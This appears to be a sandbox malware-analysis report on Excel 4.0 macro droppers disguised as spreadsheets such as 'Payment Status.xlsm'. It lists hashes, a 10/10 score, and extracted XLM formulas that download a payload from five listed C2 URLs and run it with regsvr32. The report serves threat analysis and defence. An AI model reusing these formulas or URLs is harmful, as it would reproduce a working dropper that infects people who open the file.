General

  • Target

    34c899df0fcd7f455567b860b79c7e898506865dad92b23f5ae13a8df4ea2124

  • Size

    235KB

  • Sample

    241119-w9ceksvldj

  • MD5

    a488e871f604f3ffecc829fe1baa7c15

  • SHA1

    0be2f3b44d0b15a8a5911c8d7f2b082331e19e60

  • SHA256

    34c899df0fcd7f455567b860b79c7e898506865dad92b23f5ae13a8df4ea2124

  • SHA512

    d93c652ea19e894825d4c17de1bc92cb44c324d9b0dd49c992daa7d2b7535277042a3c18f426b2039973a2d6ac5b8c0e747935dafaed641099037a3ac0375f69

  • SSDEEP

    6144:sqkhXZFJGKbHWf5sBx3FkQZGHlw9Pz8FJGKbl7cdzDVCtc1tNCvitpY:sqkhXZFJZiGb3FkQKCxwFJodfV51zCa4

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://carretilha.net/whats/RSL50BlRP0a6hj/

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

https://zionimoveis.com.br/wp-content/Bn00gaw/

https://kontacsgo.pl/m/uwZYNUjGeWW/

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://carretilha.net/whats/RSL50BlRP0a6hj/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shrinandrajoverseas.com/old/wQXty0wnVDY/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zionimoveis.com.br/wp-content/Bn00gaw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kontacsgo.pl/m/uwZYNUjGeWW/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://carretilha.net/whats/RSL50BlRP0a6hj/

xlm40.dropper

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

xlm40.dropper

https://zionimoveis.com.br/wp-content/Bn00gaw/

xlm40.dropper

https://kontacsgo.pl/m/uwZYNUjGeWW/

xlm40.dropper

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Targets

    • Target

      Payment Status.xlsm

    • Size

      173KB

    • MD5

      c7cfb6214861257f698f4fac512f0b4a

    • SHA1

      4f2da4f9e86f23b75f2e5ba9bfe7db5475f2755e

    • SHA256

      5b1eeca6bf246963e8620a9292e58226aeaf64dcf1c691990afb5c2772d8b592

    • SHA512

      4e041f040f1b20b697a13b36ebe4cfecc32d9222f5254e9e367512f5f7b59404a8ef242e4726c9500f81351c5fb316965fe5a90bff224bd999de1645d4e8283e

    • SSDEEP

      3072:zUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:z+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

    Score
    10/10
    • Target

      iMedPub LTD.xlsm

    • Size

      173KB

    • MD5

      00849b09329fcb23f3ba429600516516

    • SHA1

      4c95d5069275ace13ca38b5da38ef6cfce1417c4

    • SHA256

      3d222afb40dae01d938e46e5539f3768659486773c30bdc7d22127af508d6ca9

    • SHA512

      d518dad4f0fbb4a03695eabcca91d1cb313df46db4a0a2c0c390d69f25e3c8d6912af1ece2c5f086d4d036256d64f78a71e682fdaafa4cac687766a627190315

    • SSDEEP

      3072:XUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:X+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks